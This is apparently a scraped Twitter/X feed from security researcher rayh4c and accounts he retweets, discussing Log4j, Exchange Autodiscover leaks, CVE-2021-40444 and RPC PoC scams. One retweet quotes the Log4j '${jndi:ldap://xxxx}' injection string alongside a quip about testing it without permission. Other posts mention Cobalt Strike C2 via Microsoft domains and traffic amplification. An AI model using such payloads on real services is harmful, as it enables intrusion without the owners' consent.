rayh4c

[rayh4c @rayh4c]

@DanKornas https://t.co/Lu6W2hwlbU 对比

[rayh4c @rayh4c]

@4A4133 @Andrew___Morris @GreyNoiseIO I don't have specific data evidence, just going by experience and intuition, but it's likely to exist because the world isn't simply black and white; there are gray areas.

[rayh4c @rayh4c]

@4A4133 @Andrew___Morris @GreyNoiseIO I mean, it's great for analytics, but as a blocking rule in a production environment, it's a bit too aggressive.

[Massimo @Rainmaker1973]

How many of these science laws and math equations/constant do you know? [source, zoomable hi-res: https://t.co/8IB0ZL1VIt]

[rayh4c @rayh4c]

@HaifeiLi https://t.co/MDPsSbMZI2

[rayh4c @rayh4c]

@subTee Double standards are always present, and Kaspersky is embarrassed when it comes to portraying Russian-speaking actor...

[rayh4c @rayh4c]

wormable？

[Yuki Chen @guhe120]

Be careful about those CVE-2022-26809 PoCs online, especially when they try to sell it to you. Actually I think a PoC is not important for defense purpose, apply the patch, do not expose your RPC ports (not only for this bug but a basic security baseline), that would be enough.

[rayh4c @rayh4c]

😂

[hacker.house @hackerfantastic]

Log4j exploit over UDP spoofed from CIA in a single tweet.

[rayh4c @rayh4c]

@Laughing_Mantis Use environment variables to trigger specific protocol connections to amplify traffic

[rayh4c @rayh4c]

The ultimate problem of security, all operable and input variables are code execution loopholes, because all variables may be printed in logs. This is a loophole in the annals of history, the ultimate dream of hackers, and the jewel in the crown.

[rayh4c @rayh4c]

This is a privacy detector. All fields related to personal privacy can be filled in.

[Haifei Li @HaifeiLi]

Legal question: is this legal to test an online service using “${jndi:ldap://xxxx}” without owner permission. Asking for myself.

[rayh4c @rayh4c]

YES~Lookups is an object lookup requirement, it has no security design.

[Haifei Li @HaifeiLi]

Reminds me of COM Moniker strings on Windows..

[rayh4c @rayh4c]

@NathanMcNulty @N805DN Here will be a loop traversal, if it fails all the time, it will reach the TLD.

[rayh4c @rayh4c]

A joke, the automatic discovery of the windows client normally does not request the TLD, but the external network firewall may block all the automatic discovery requests of the client, causing it to eventually go to the TLD.

[BleepingComputer @BleepinComputer]

Microsoft Exchange Autodiscover bugs leak 100K Windows credentials - @LawrenceAbrams
https://t.co/s1kRbr9JEf

[rayh4c @rayh4c]

@NathanMcNulty @N805DN The reason lies in the network security strategy. The client's automatic discovery generally does not traverse to the TLD domain, but the external network firewall may intercept the client's automatic discovery request, causing it to eventually go to the TLD domain.

[rayh4c @rayh4c]

nice~
The key is that the directory traversal of ExtractInfFile leads to a predictable path

[heige @80vul]

CVE-2021-40444 vulnerability analysis by sunglin@knownsec 404 team https://t.co/lyBki2Ef38 (Chinese)

[rayh4c @rayh4c]

@elonmusk @ChainLinkGod @PeterMcCormack Your Tesla’s money is rewarded by Bitcoin profits. There is a Chinese saying "忘恩负义白眼狼" is more suitable for you.

[rayh4c @rayh4c]

This is not a new thing, a semi-public red team technique, Microsoft's official domain name can become the c&c of cobalt strike! Reference https://t.co/RFSutQVvsY

[Microsoft Threat Intelligence @MsftSecIntel]

Automatic on-premises Exchange Server mitigation is now in Microsoft Defender Antivirus. We have taken this additional step to further support our customers who have not yet implemented the complete security update. Learn more: https://t.co/QUlXgUZdZp